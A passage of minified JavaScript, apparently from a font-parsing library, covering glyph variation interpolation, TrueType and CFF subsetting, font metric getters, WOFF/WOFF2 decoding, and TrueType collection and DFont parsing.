                                                        var L = A[T].x - c[T].x, B = A[T].y - c[T].y;
                                                        e[T].x += L, e[T].y += B
                                                    }
                                                }
                                                a += f, i.pos = s
                                            } else a += f
                                        }
                                    }
                                }
                            }
                        }
                    }, t.prototype.decodePoints = function () {
                        var t = this.font.stream, e = t.readUInt8();
                        128 & e && (e = (127 & e) << 8 | t.readUInt8());
                        for (var n = new Uint16Array(e), r = 0, i = 0; r < e;) for (var o = t.readUInt8(), a = 1 + (127 & o), s = 128 & o ? t.readUInt16 : t.readUInt8, u = 0; u < a && r < e; u++) i += s.call(t), n[r++] = i;
                        return n
                    }, t.prototype.decodeDeltas = function (t) {
                        for (var e = this.font.stream, n = 0, r = new Int16Array(t); n < t;) {
                            var i = e.readUInt8(), o = 1 + (63 & i);
                            if (128 & i) n += o; else for (var a = 64 & i ? e.readInt16BE : e.readInt8, s = 0; s < o && n < t; s++) r[n++] = a.call(e)
                        }
                        return r
                    }, t.prototype.tupleFactor = function (t, e, n, r) {
                        for (var i = this.normalizedCoords, o = this.font.gvar, a = 1, s = 0; s < o.axisCount; s++) if (0 !== e[s]) {
                            if (0 === i[s]) return 0;
                            if (0 == (16384 & t)) {
                                if (i[s] < Math.min(0, e[s]) || i[s] > Math.max(0, e[s])) return 0;
                                a = a * i[s] / e[s]
                            } else {
                                if (i[s] < n[s] || i[s] > r[s]) return 0;
                                a = i[s] < e[s] ? a * (i[s] - n[s]) / (e[s] - n[s]) : a * (r[s] - i[s]) / (r[s] - e[s])
                            }
                        }
                        return a
                    }, t.prototype.interpolateMissingDeltas = function (t, e, n) {
                        if (0 !== t.length) for (var r = 0; r < t.length;) {
                            for (var i = r, o = r, a = t[o]; !a.endContour;) a = t[++o];
                            for (; r <= o && !n[r];) r++;
                            if (!(r > o)) {
                                var s = r, u = r;
                                for (r++; r <= o;) n[r] && (this.deltaInterpolate(u + 1, r - 1, u, r, e, t), u = r), r++;
                                u === s ? this.deltaShift(i, o, u, e, t) : (this.deltaInterpolate(u + 1, o, u, s, e, t), s > 0 && this.deltaInterpolate(i, s - 1, u, s, e, t)), r = o + 1
                            }
                        }
                    }, t.prototype.deltaInterpolate = function (t, e, n, r, i, o) {
                        if (!(t > e)) for (var a = ["x", "y"], s = 0; s < a.length; s++) {
                            var u = a[s];
                            if (i[n][u] > i[r][u]) {
                                var c = n;
                                n = r, r = c
                            }
                            for (var l = i[n][u], f = i[r][u], h = o[n][u], p = o[r][u], d = l === f ? 0 : (p - h) / (f - l), g = t; g <= e; g++) {
                                var v = i[g][u];
                                v <= l ? v += h - l : v >= f ? v += p - f : v = h + (v - l) * d, o[g][u] = v
                            }
                        }
                    }, t.prototype.deltaShift = function (t, e, n, r, i) {
                        var o = i[n].x - r[n].x, a = i[n].y - r[n].y;
                        if (0 !== o || 0 !== a) for (var s = t; s <= e; s++) s !== n && (i[s].x += o, i[s].y += a)
                    }, t
                }(), _a = function () {
                    function t(e) {
                        J(this, t), this.font = e, this.glyphs = [], this.mapping = {}, this.includeGlyph(0)
                    }

                    return t.prototype.includeGlyph = function (t) {
                        return "object" === (void 0 === t ? "undefined" : K(t)) && (t = t.id), null == this.mapping[t] && (this.glyphs.push(t), this.mapping[t] = this.glyphs.length - 1), this.mapping[t]
                    }, t.prototype.encodeStream = function () {
                        var t = this, e = new V.EncodeStream;
                        return r.nextTick(function () {
                            return t.encode(e), e.end()
                        }), e
                    }, t
                }(), Ca = function () {
                    function t() {
                        J(this, t)
                    }

                    return t.size = function (t) {
                        return t >= 0 && t <= 255 ? 1 : 2
                    }, t.encode = function (t, e) {
                        e >= 0 && e <= 255 ? t.writeUInt8(e) : t.writeInt16BE(e)
                    }, t
                }(), Aa = new V.Struct({
                    numberOfContours: V.int16,
                    xMin: V.int16,
                    yMin: V.int16,
                    xMax: V.int16,
                    yMax: V.int16,
                    endPtsOfContours: new V.Array(V.uint16, "numberOfContours"),
                    instructions: new V.Array(V.uint8, V.uint16),
                    flags: new V.Array(V.uint8, 0),
                    xPoints: new V.Array(Ca, 0),
                    yPoints: new V.Array(Ca, 0)
                }), Ea = function () {
                    function t() {
                        J(this, t)
                    }

                    return t.prototype.encodeSimple = function (t) {
                        for (var e = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : [], n = [], r = [], i = [], o = [], a = 0, s = 0, u = 0, c = 0, l = 0, f = 0; f < t.commands.length; f++) {
                            for (var h = t.commands[f], p = 0; p < h.args.length; p += 2) {
                                var d = h.args[p], g = h.args[p + 1], v = 0;
                                if ("quadraticCurveTo" === h.command && 2 === p) {
                                    var y = t.commands[f + 1];
                                    if (y && "quadraticCurveTo" === y.command) {
                                        var m = (s + y.args[0]) / 2, b = (u + y.args[1]) / 2;
                                        if (d === m && g === b) continue
                                    }
                                }
                                "quadraticCurveTo" === h.command && 0 === p || (v |= 1), v = this._encodePoint(d, s, r, v, 2, 16), v = this._encodePoint(g, u, i, v, 4, 32), v === c && a < 255 ? (o[o.length - 1] |= 8, a++) : (a > 0 && (o.push(a), a = 0), o.push(v), c = v), s = d, u = g, l++
                            }
                            "closePath" === h.command && n.push(l - 1)
                        }
                        t.commands.length > 1 && "closePath" !== t.commands[t.commands.length - 1].command && n.push(l - 1);
                        var w = t.bbox, x = {
                            numberOfContours: n.length,
                            xMin: w.minX,
                            yMin: w.minY,
                            xMax: w.maxX,
                            yMax: w.maxY,
                            endPtsOfContours: n,
                            instructions: e,
                            flags: o,
                            xPoints: r,
                            yPoints: i
                        }, S = Aa.size(x), k = 4 - S % 4, _ = new V.EncodeStream(S + k);
                        return Aa.encode(_, x), 0 !== k && _.fill(0, k), _.buffer
                    }, t.prototype._encodePoint = function (t, e, n, r, i, o) {
                        var a = t - e;
                        return t === e ? r |= o : (-255 <= a && a <= 255 && (r |= i, a < 0 ? a = -a : r |= o), n.push(a)), r
                    }, t
                }(), Pa = function (t) {
                    function n(e) {
                        J(this, n);
                        var r = tt(this, t.call(this, e));
                        return r.glyphEncoder = new Ea, r
                    }

                    return et(n, t), n.prototype._addGlyph = function (t) {
                        var n = this.font.getGlyph(t), r = n._decode(), i = this.font.loca.offsets[t], o = this.font.loca.offsets[t + 1], a = this.font._getTableStream("glyf");
                        a.pos += i;
                        var s = a.readBuffer(o - i);
                        if (r && r.numberOfContours < 0) {
                            s = new e(s);
                            for (var u = r.components, c = Array.isArray(u), l = 0, u = c ? u : H(u); ;) {
                                var f;
                                if (c) {
                                    if (l >= u.length) break;
                                    f = u[l++]
                                } else {
                                    if (l = u.next(), l.done) break;
                                    f = l.value
                                }
                                var h = f;
                                t = this.includeGlyph(h.glyphID), s.writeUInt16BE(t, h.pos)
                            }
                        } else r && this.font._variationProcessor && (s = this.glyphEncoder.encodeSimple(n.path, r.instructions));
                        return this.glyf.push(s), this.loca.offsets.push(this.offset), this.hmtx.metrics.push({
                            advance: n.advanceWidth,
                            bearing: n._getMetrics().leftBearing
                        }), this.offset += s.length, this.glyf.length - 1
                    }, n.prototype.encode = function (t) {
                        this.glyf = [], this.offset = 0, this.loca = {offsets: []}, this.hmtx = {metrics: [], bearings: []};
                        for (var e = 0; e < this.glyphs.length;) this._addGlyph(this.glyphs[e++]);
                        var n = ht(this.font.maxp);
                        n.numGlyphs = this.glyf.length, this.loca.offsets.push(this.offset), di.loca.preEncode.call(this.loca);
                        var r = ht(this.font.head);
                        r.indexToLocFormat = this.loca.version;
                        var i = ht(this.font.hhea);
                        i.numberOfMetrics = this.hmtx.metrics.length, vi.encode(t, {
                            tables: {
                                head: r,
                                hhea: i,
                                loca: this.loca,
                                maxp: n,
                                "cvt ": this.font["cvt "],
                                prep: this.font.prep,
                                glyf: this.glyf,
                                hmtx: this.hmtx,
                                fpgm: this.font.fpgm
                            }
                        })
                    }, n
                }(_a), Ia = function (t) {
                    function n(e) {
                        J(this, n);
                        var r = tt(this, t.call(this, e));
                        if (r.cff = r.font["CFF "], !r.cff) throw new Error("Not a CFF Font");
                        return r
                    }

                    return et(n, t), n.prototype.subsetCharstrings = function () {
                        this.charstrings = [];
                        for (var t = {}, e = this.glyphs, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                            var i;
                            if (n) {
                                if (r >= e.length) break;
                                i = e[r++]
                            } else {
                                if (r = e.next(), r.done) break;
                                i = r.value
                            }
                            var o = i;
                            this.charstrings.push(this.cff.getCharString(o));
                            var a = this.font.getGlyph(o);
                            a.path;
                            for (var s in a._usedGsubrs) t[s] = !0
                        }
                        this.gsubrs = this.subsetSubrs(this.cff.globalSubrIndex, t)
                    }, n.prototype.subsetSubrs = function (t, n) {
                        for (var r = [], i = 0; i < t.length; i++) {
                            var o = t[i];
                            n[i] ? (this.cff.stream.pos = o.offset, r.push(this.cff.stream.readBuffer(o.length))) : r.push(new e([11]))
                        }
                        return r
                    }, n.prototype.subsetFontdict = function (t) {
                        t.FDArray = [], t.FDSelect = {version: 0, fds: []};
                        for (var e = {}, n = [], r = this.glyphs, i = Array.isArray(r), o = 0, r = i ? r : H(r); ;) {
                            var a;
                            if (i) {
                                if (o >= r.length) break;
                                a = r[o++]
                            } else {
                                if (o = r.next(), o.done) break;
                                a = o.value
                            }
                            var s = a, u = this.cff.fdForGlyph(s);
                            if (null != u) {
                                e[u] || (t.FDArray.push(ot({}, this.cff.topDict.FDArray[u])), n.push({})), e[u] = !0, t.FDSelect.fds.push(t.FDArray.length - 1);
                                var c = this.font.getGlyph(s);
                                c.path;
                                for (var l in c._usedSubrs) n[n.length - 1][l] = !0
                            }
                        }
                        for (var f = 0; f < t.FDArray.length; f++) {
                            var h = t.FDArray[f];
                            delete h.FontName, h.Private && h.Private.Subrs && (h.Private = ot({}, h.Private), h.Private.Subrs = this.subsetSubrs(h.Private.Subrs, n[f]))
                        }
                    }, n.prototype.createCIDFontdict = function (t) {
                        for (var e = {}, n = this.glyphs, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                            var o;
                            if (r) {
                                if (i >= n.length) break;
                                o = n[i++]
                            } else {
                                if (i = n.next(), i.done) break;
                                o = i.value
                            }
                            var a = o, s = this.font.getGlyph(a);
                            s.path;
                            for (var u in s._usedSubrs) e[u] = !0
                        }
                        var c = ot({}, this.cff.topDict.Private);
                        return c.Subrs = this.subsetSubrs(this.cff.topDict.Private.Subrs, e), t.FDArray = [{Private: c}], t.FDSelect = {
                            version: 3,
                            nRanges: 1,
                            ranges: [{first: 0, fd: 0}],
                            sentinel: this.charstrings.length
                        }
                    }, n.prototype.addString = function (t) {
                        return t ? (this.strings || (this.strings = []), this.strings.push(t), te.length + this.strings.length - 1) : null
                    }, n.prototype.encode = function (t) {
                        this.subsetCharstrings();
                        var e = {version: this.charstrings.length > 255 ? 2 : 1, ranges: [{first: 1, nLeft: this.charstrings.length - 2}]}, n = ot({}, this.cff.topDict);
                        n.Private = null, n.charset = e, n.Encoding = null, n.CharStrings = this.charstrings;
                        for (var r = ["version", "Notice", "Copyright", "FullName", "FamilyName", "Weight", "PostScript", "BaseFontName", "FontName"], i = 0; i < r.length; i++) {
                            var o = r[i];
                            n[o] = this.addString(this.cff.string(n[o]))
                        }
                        n.ROS = [this.addString("Adobe"), this.addString("Identity"), 0], n.CIDCount = this.charstrings.length, this.cff.isCIDFont ? this.subsetFontdict(n) : this.createCIDFontdict(n);
                        var a = {header: this.cff.header, nameIndex: [this.cff.postscriptName], topDictIndex: [n], stringIndex: this.strings, globalSubrIndex: this.gsubrs};
                        Se.encode(t, a)
                    }, n
                }(_a), Oa = (fa = function () {
                    function t(e) {
                        var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : null;
                        J(this, t), this.stream = e, this._directoryPos = this.stream.pos, this._tables = {}, this._glyphs = {}, this._decodeDirectory();
                        for (var r in this.directory.tables) {
                            var i = this.directory.tables[r];
                            di[r] && i.length > 0 && X(this, r, {get: this._getTable.bind(this, i)})
                        }
                        n && (this._variationProcessor = new ka(this, n))
                    }

                    return t.probe = function (t) {
                        var e = t.toString("ascii", 0, 4);
                        return "true" === e || "OTTO" === e || e === String.fromCharCode(0, 1, 0, 0)
                    }, t.prototype._getTable = function (t) {
                        if (!(t.tag in this._tables)) try {
                            this._tables[t.tag] = this._decodeTable(t)
                        } catch (t) {
                            gt.logErrors
                        }
                        return this._tables[t.tag]
                    }, t.prototype._getTableStream = function (t) {
                        var e = this.directory.tables[t];
                        return e ? (this.stream.pos = e.offset, this.stream) : null
                    }, t.prototype._decodeDirectory = function () {
                        return this.directory = vi.decode(this.stream, {_startOffset: 0})
                    }, t.prototype._decodeTable = function (t) {
                        var e = this.stream.pos, n = this._getTableStream(t.tag), r = di[t.tag].decode(n, this, t.length);
                        return this.stream.pos = e, r
                    }, t.prototype.getName = function (t) {
                        var e = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "en", n = this.name.records[t];
                        return n ? n[e] : null
                    }, t.prototype.hasGlyphForCodePoint = function (t) {
                        return !!this._cmapProcessor.lookup(t)
                    }, t.prototype.glyphForCodePoint = function (t) {
                        return this.getGlyph(this._cmapProcessor.lookup(t), [t])
                    }, t.prototype.glyphsForString = function (t) {
                        for (var e = [], n = t.length, r = 0, i = -1, o = -1; r <= n;) {
                            var a = 0, s = 0;
                            if (r < n) {
                                if (55296 <= (a = t.charCodeAt(r++)) && a <= 56319 && r < n) {
                                    var u = t.charCodeAt(r);
                                    56320 <= u && u <= 57343 && (r++, a = ((1023 & a) << 10) + (1023 & u) + 65536)
                                }
                                s = 65024 <= a && a <= 65039 || 917760 <= a && a <= 917999 ? 1 : 0
                            } else r++;
                            0 === o && 1 === s ? e.push(this.getGlyph(this._cmapProcessor.lookup(i, a), [i, a])) : 0 === o && 0 === s && e.push(this.glyphForCodePoint(i)), i = a, o = s
                        }
                        return e
                    }, t.prototype.layout = function (t, e, n, r) {
                        return this._layoutEngine.layout(t, e, n, r)
                    }, t.prototype.stringsForGlyph = function (t) {
                        return this._layoutEngine.stringsForGlyph(t)
                    }, t.prototype._getBaseGlyph = function (t) {
                        var e = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : [];
                        return this._glyphs[t] || (this.directory.tables.glyf ? this._glyphs[t] = new ya(t, e, this) : this.directory.tables["CFF "] && (this._glyphs[t] = new ma(t, e, this))), this._glyphs[t] || null
                    }, t.prototype.getGlyph = function (t) {
                        var e = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : [];
                        return this._glyphs[t] || (this.directory.tables.sbix ? this._glyphs[t] = new wa(t, e, this) : this.directory.tables.COLR && this.directory.tables.CPAL ? this._glyphs[t] = new Sa(t, e, this) : this._getBaseGlyph(t, e)), this._glyphs[t] || null
                    }, t.prototype.createSubset = function () {
                        return this.directory.tables["CFF "] ? new Ia(this) : new Pa(this)
                    }, t.prototype.getVariation = function (e) {
                        if (!this.directory.tables.fvar || !this.directory.tables.gvar || !this.directory.tables.glyf) throw new Error("Variations require a font with the fvar, gvar, and glyf tables.");
                        if ("string" == typeof e && (e = this.namedVariations[e]), "object" !== (void 0 === e ? "undefined" : K(e))) throw new Error("Variation settings must be either a variation name or settings object.");
                        var n = this.fvar.axis.map(function (t, n) {
                            var r = t.axisTag.trim();
                            return r in e ? Math.max(t.minValue, Math.min(t.maxValue, e[r])) : t.defaultValue
                        }), r = new V.DecodeStream(this.stream.buffer);
                        r.pos = this._directoryPos;
                        var i = new t(r, n);
                        return i._tables = this._tables, i
                    }, t.prototype.getFont = function (t) {
                        return this.getVariation(t)
                    }, Q(t, [{
                        key: "postscriptName", get: function () {
                            var t = this.name.records.postscriptName;
                            return t[Y(t)[0]]
                        }
                    }, {
                        key: "fullName", get: function () {
                            return this.getName("fullName")
                        }
                    }, {
                        key: "familyName", get: function () {
                            return this.getName("fontFamily")
                        }
                    }, {
                        key: "subfamilyName", get: function () {
                            return this.getName("fontSubfamily")
                        }
                    }, {
                        key: "copyright", get: function () {
                            return this.getName("copyright")
                        }
                    }, {
                        key: "version", get: function () {
                            return this.getName("version")
                        }
                    }, {
                        key: "ascent", get: function () {
                            return this.hhea.ascent
                        }
                    }, {
                        key: "descent", get: function () {
                            return this.hhea.descent
                        }
                    }, {
                        key: "lineGap", get: function () {
                            return this.hhea.lineGap
                        }
                    }, {
                        key: "underlinePosition", get: function () {
                            return this.post.underlinePosition
                        }
                    }, {
                        key: "underlineThickness", get: function () {
                            return this.post.underlineThickness
                        }
                    }, {
                        key: "italicAngle", get: function () {
                            return this.post.italicAngle
                        }
                    }, {
                        key: "capHeight", get: function () {
                            var t = this["OS/2"];
                            return t ? t.capHeight : this.ascent
                        }
                    }, {
                        key: "xHeight", get: function () {
                            var t = this["OS/2"];
                            return t ? t.xHeight : 0
                        }
                    }, {
                        key: "numGlyphs", get: function () {
                            return this.maxp.numGlyphs
                        }
                    }, {
                        key: "unitsPerEm", get: function () {
                            return this.head.unitsPerEm
                        }
                    }, {
                        key: "bbox", get: function () {
                            return Z(new Si(this.head.xMin, this.head.yMin, this.head.xMax, this.head.yMax))
                        }
                    }, {
                        key: "_cmapProcessor", get: function () {
                            return new bi(this.cmap)
                        }
                    }, {
                        key: "characterSet", get: function () {
                            return this._cmapProcessor.getCharacterSet()
                        }
                    }, {
                        key: "_layoutEngine", get: function () {
                            return new oa(this)
                        }
                    }, {
                        key: "availableFeatures", get: function () {
                            return this._layoutEngine.getAvailableFeatures()
                        }
                    }, {
                        key: "variationAxes", get: function () {
                            var t = {};
                            if (!this.fvar) return t;
                            for (var e = this.fvar.axis, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                                var i;
                                if (n) {
                                    if (r >= e.length) break;
                                    i = e[r++]
                                } else {
                                    if (r = e.next(), r.done) break;
                                    i = r.value
                                }
                                var o = i;
                                t[o.axisTag.trim()] = {name: o.name.en, min: o.minValue, default: o.defaultValue, max: o.maxValue}
                            }
                            return t
                        }
                    }, {
                        key: "namedVariations", get: function () {
                            var t = {};
                            if (!this.fvar) return t;
                            for (var e = this.fvar.instance, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                                var i;
                                if (n) {
                                    if (r >= e.length) break;
                                    i = e[r++]
                                } else {
                                    if (r = e.next(), r.done) break;
                                    i = r.value
                                }
                                for (var o = i, a = {}, s = 0; s < this.fvar.axis.length; s++) {
                                    a[this.fvar.axis[s].axisTag.trim()] = o.coord[s]
                                }
                                t[o.name.en] = a
                            }
                            return t
                        }
                    }]), t
                }(), U(fa.prototype, "bbox", [o], q(fa.prototype, "bbox"), fa.prototype), U(fa.prototype, "_cmapProcessor", [o], q(fa.prototype, "_cmapProcessor"), fa.prototype), U(fa.prototype, "characterSet", [o], q(fa.prototype, "characterSet"), fa.prototype), U(fa.prototype, "_layoutEngine", [o], q(fa.prototype, "_layoutEngine"), fa.prototype), fa),
                Ta                                                                                                                         = new V.Struct({
                    tag: new V.String(4),
                    offset: new V.Pointer(V.uint32, "void", {type: "global"}),
                    compLength: V.uint32,
                    length: V.uint32,
                    origChecksum: V.uint32
                }), La                                                                                                                     = new V.Struct({
                    tag: new V.String(4),
                    flavor: V.uint32,
                    length: V.uint32,
                    numTables: V.uint16,
                    reserved: new V.Reserved(V.uint16),
                    totalSfntSize: V.uint32,
                    majorVersion: V.uint16,
                    minorVersion: V.uint16,
                    metaOffset: V.uint32,
                    metaLength: V.uint32,
                    metaOrigLength: V.uint32,
                    privOffset: V.uint32,
                    privLength: V.uint32,
                    tables: new V.Array(Ta, "numTables")
                });
            La.process                                                                                                                     = function () {
                for (var t = {}, e = this.tables, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                    var i;
                    if (n) {
                        if (r >= e.length) break;
                        i = e[r++]
                    } else {
                        if (r = e.next(), r.done) break;
                        i = r.value
                    }
                    var o    = i;
                    t[o.tag] = o
                }
                this.tables = t
            };
            var Ba                                                                                                                         = function (t) {
                    function n() {
                        return J(this, n), tt(this, t.apply(this, arguments))
                    }

                    return et(n, t), n.probe = function (t) {
                        return "wOFF" === t.toString("ascii", 0, 4)
                    }, n.prototype._decodeDirectory = function () {
                        this.directory = La.decode(this.stream, {_startOffset: 0})
                    }, n.prototype._getTableStream = function (t) {
                        var n = this.directory.tables[t];
                        if (n) {
                            if (this.stream.pos = n.offset, n.compLength < n.length) {
                                this.stream.pos += 2;
                                var r = new e(n.length), i = pt(this.stream.readBuffer(n.compLength - 2), r);
                                return new V.DecodeStream(i)
                            }
                            return this.stream
                        }
                        return null
                    }, n
                }(Oa), Ra                                                                                                                  = function (t) {
                    function e() {
                        return J(this, e), tt(this, t.apply(this, arguments))
                    }

                    return et(e, t), e.prototype._decode = function () {
                        return this._font._transformedGlyphs[this.id]
                    }, e.prototype._getCBox = function () {
                        return this.path.bbox
                    }, e
                }(ya), Ma                                                                                                                  = {
                    decode: function (t) {
                        for (var e = 0, n = [0, 1, 2, 3, 4], r = 0; r < n.length; r++) {
                            var i = (n[r], t.readUInt8());
                            if (3758096384 & e) throw new Error("Overflow");
                            if (e = e << 7 | 127 & i, 0 == (128 & i)) return e
                        }
                        throw new Error("Bad base 128 number")
                    }
                },
                za                                                                                                                         = ["cmap", "head", "hhea", "hmtx", "maxp", "name", "OS/2", "post", "cvt ", "fpgm", "glyf", "loca", "prep", "CFF ", "VORG", "EBDT", "EBLC", "gasp", "hdmx", "kern", "LTSH", "PCLT", "VDMX", "vhea", "vmtx", "BASE", "GDEF", "GPOS", "GSUB", "EBSC", "JSTF", "MATH", "CBDT", "CBLC", "COLR", "CPAL", "SVG ", "sbix", "acnt", "avar", "bdat", "bloc", "bsln", "cvar", "fdsc", "feat", "fmtx", "fvar", "gvar", "hsty", "just", "lcar", "mort", "morx", "opbd", "prop", "trak", "Zapf", "Silf", "Glat", "Gloc", "Feat", "Sill"],
                Fa                                                                                                                         = new V.Struct({
                    flags: V.uint8, customTag: new V.Optional(new V.String(4), function (t) {
                        return 63 == (63 & t.flags)
                    }), tag: function (t) {
                        return t.customTag || za[63 & t.flags]
                    }, length: Ma, transformVersion: function (t) {
                        return t.flags >>> 6 & 3
                    }, transformed: function (t) {
                        return "glyf" === t.tag || "loca" === t.tag ? 0 === t.transformVersion : 0 !== t.transformVersion
                    }, transformLength: new V.Optional(Ma, function (t) {
                        return t.transformed
                    })
                }), Da                                                                                                                     = new V.Struct({
                    tag: new V.String(4),
                    flavor: V.uint32,
                    length: V.uint32,
                    numTables: V.uint16,
                    reserved: new V.Reserved(V.uint16),
                    totalSfntSize: V.uint32,
                    totalCompressedSize: V.uint32,
                    majorVersion: V.uint16,
                    minorVersion: V.uint16,
                    metaOffset: V.uint32,
                    metaLength: V.uint32,
                    metaOrigLength: V.uint32,
                    privOffset: V.uint32,
                    privLength: V.uint32,
                    tables: new V.Array(Fa, "numTables")
                });
            Da.process                                                                                                                     = function () {
                for (var t = {}, e = 0; e < this.tables.length; e++) {
                    var n    = this.tables[e];
                    t[n.tag] = n
                }
                return this.tables = t
            };
            var Na                                                                                                                         = function (t) {
                    function n() {
                        return J(this, n), tt(this, t.apply(this, arguments))
                    }

                    return et(n, t), n.probe = function (t) {
                        return "wOF2" === t.toString("ascii", 0, 4)
                    }, n.prototype._decodeDirectory = function () {
                        this.directory = Da.decode(this.stream), this._dataPos = this.stream.pos
                    }, n.prototype._decompress = function () {
                        if (!this._decompressed) {
                            this.stream.pos = this._dataPos;
                            var t = this.stream.readBuffer(this.directory.totalCompressedSize), n = 0;
                            for (var r in this.directory.tables) {
                                var i = this.directory.tables[r];
                                i.offset = n, n += null != i.transformLength ? i.transformLength : i.length
                            }
                            var o = dt(t, n);
                            if (!o) throw new Error("Error decoding compressed data in WOFF2");
                            this.stream = new V.DecodeStream(new e(o)), this._decompressed = !0
                        }
                    }, n.prototype._decodeTable = function (e) {
                        return this._decompress(), t.prototype._decodeTable.call(this, e)
                    }, n.prototype._getBaseGlyph = function (e) {
                        var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : [];
                        if (!this._glyphs[e]) return this.directory.tables.glyf && this.directory.tables.glyf.transformed ? (this._transformedGlyphs || this._transformGlyfTable(), this._glyphs[e] = new Ra(e, n, this)) : t.prototype._getBaseGlyph.call(this, e, n)
                    }, n.prototype._transformGlyfTable = function () {
                        this._decompress(), this.stream.pos = this.directory.tables.glyf.offset;
                        for (var t = GlyfTable.decode(this.stream), e = [], n = 0; n < t.numGlyphs; n++) {
                            var r = {}, i = t.nContours.readInt16BE();
                            if (r.numberOfContours = i, i > 0) {
                                for (var o = [], a = 0, s = 0; s < i; s++) {
                                    var u = W(t.nPoints);
                                    o.push(u), a += u
                                }
                                r.points = G(t.flags, t.glyphs, a);
                                for (var c = 0; c < i; c++) r.points[o[c] - 1].endContour = !0;
                                W(t.glyphs)
                            } else if (i < 0) {
                                var l = ya.prototype._decodeComposite.call({_font: this}, r, t.composites);
                                if (l) {
                                    W(t.glyphs)
                                }
                            }
                            e.push(r)
                        }
                        this._transformedGlyphs = e
                    }, n
                }(Oa), Ua = function () {
                    function t(e) {
                        J(this, t), this.length = e, this._buf = new V.Buffer(e)
                    }

                    return t.prototype.decode = function (t, e) {
                        return new V.DecodeStream(this._buf.decode(t, e))
                    }, t
                }(), GlyfTable = new V.Struct({
                    version: V.uint32,
                    numGlyphs: V.uint16,
                    indexFormat: V.uint16,
                    nContourStreamSize: V.uint32,
                    nPointsStreamSize: V.uint32,
                    flagStreamSize: V.uint32,
                    glyphStreamSize: V.uint32,
                    compositeStreamSize: V.uint32,
                    bboxStreamSize: V.uint32,
                    instructionStreamSize: V.uint32,
                    nContours: new Ua("nContourStreamSize"),
                    nPoints: new Ua("nPointsStreamSize"),
                    flags: new Ua("flagStreamSize"),
                    glyphs: new Ua("glyphStreamSize"),
                    composites: new Ua("compositeStreamSize"),
                    bboxes: new Ua("bboxStreamSize"),
                    instructions: new Ua("instructionStreamSize")
                }), Wa = 253, ja = 254, Ga = 255, Va = 253, qa = new V.VersionedStruct(V.uint32, {
                    65536: {numFonts: V.uint32, offsets: new V.Array(V.uint32, "numFonts")},
                    131072: {numFonts: V.uint32, offsets: new V.Array(V.uint32, "numFonts"), dsigTag: V.uint32, dsigLength: V.uint32, dsigOffset: V.uint32}
                }), Ha = function () {
                    function t(e) {
                        if (J(this, t), this.stream = e, "ttcf" !== e.readString(4)) throw new Error("Not a TrueType collection");
                        this.header = qa.decode(e)
                    }

                    return t.probe = function (t) {
                        return "ttcf" === t.toString("ascii", 0, 4)
                    }, t.prototype.getFont = function (t) {
                        for (var e = this.header.offsets, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                            var i;
                            if (n) {
                                if (r >= e.length) break;
                                i = e[r++]
                            } else {
                                if (r = e.next(), r.done) break;
                                i = r.value
                            }
                            var o = i, a = new V.DecodeStream(this.stream.buffer);
                            a.pos = o;
                            var s = new Oa(a);
                            if (s.postscriptName === t) return s
                        }
                        return null
                    }, Q(t, [{
                        key: "fonts", get: function () {
                            for (var t = [], e = this.header.offsets, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                                var i;
                                if (n) {
                                    if (r >= e.length) break;
                                    i = e[r++]
                                } else {
                                    if (r = e.next(), r.done) break;
                                    i = r.value
                                }
                                var o = i, a = new V.DecodeStream(this.stream.buffer);
                                a.pos = o, t.push(new Oa(a))
                            }
                            return t
                        }
                    }]), t
                }(), Za = new V.String(V.uint8), Ya = (new V.Struct({len: V.uint32, buf: new V.Buffer("len")}), new V.Struct({
                    id: V.uint16,
                    nameOffset: V.int16,
                    attr: V.uint8,
                    dataOffset: V.uint24,
                    handle: V.uint32
                })), Ka = new V.Struct({
                    name: new V.String(4), maxTypeIndex: V.uint16, refList: new V.Pointer(V.uint16, new V.Array(Ya, function (t) {
                        return t.maxTypeIndex + 1
                    }), {type: "parent"})
                }), Xa = new V.Struct({
                    length: V.uint16, types: new V.Array(Ka, function (t) {
                        return t.length + 1
                    })
                }), Ja = new V.Struct({reserved: new V.Reserved(V.uint8, 24), typeList: new V.Pointer(V.uint16, Xa), nameListOffset: new V.Pointer(V.uint16, "void")}),
                Qa = new V.Struct({dataOffset: V.uint32, map: new V.Pointer(V.uint32, Ja), dataLength: V.uint32, mapLength: V.uint32}), $a = function () {
                    function t(e) {
                        J(this, t), this.stream = e, this.header = Qa.decode(this.stream);
                        for (var n = this.header.map.typeList.types, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                            var o;
                            if (r) {
                                if (i >= n.length) break;
                                o = n[i++]
                            } else {
                                if (i = n.next(), i.done) break;
                                o = i.value
                            }
                            for (var a = o, s = a.refList, u = Array.isArray(s), c = 0, s = u ? s : H(s); ;) {
                                var l;
                                if (u) {
                                    if (c >= s.length) break;
                                    l = s[c++]
                                } else {
                                    if (c = s.next(), c.done) break;
                                    l = c.value
                                }
                                var f = l;
                                f.nameOffset >= 0 ? (this.stream.pos = f.nameOffset + this.header.map.nameListOffset, f.name = Za.decode(this.stream)) : f.name = null
                            }
                            "sfnt" === a.name && (this.sfnt = a)
                        }
                    }

                    return t.probe = function (t) {
                        var e = new V.DecodeStream(t);
                        try {
                            var n = Qa.decode(e)
                        } catch (t) {
                            return !1
                        }
                        for (var r = n.map.typeList.types, i = Array.isArray(r), o = 0, r = i ? r : H(r); ;) {
                            var a;
                            if (i) {
                                if (o >= r.length) break;
                                a = r[o++]
                            } else {
                                if (o = r.next(), o.done) break;
                                a = o.value
                            }
                            if ("sfnt" === a.name) return !0
                        }
                        return !1
                    }, t.prototype.getFont = function (t) {
                        if (!this.sfnt) return null;
                        for (var e = this.sfnt.refList, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                            var i;
                            if (n) {
                                if (r >= e.length) break;
                                i = e[r++]
                            } else {
                                if (r = e.next(), r.done) break;
                                i = r.value
                            }
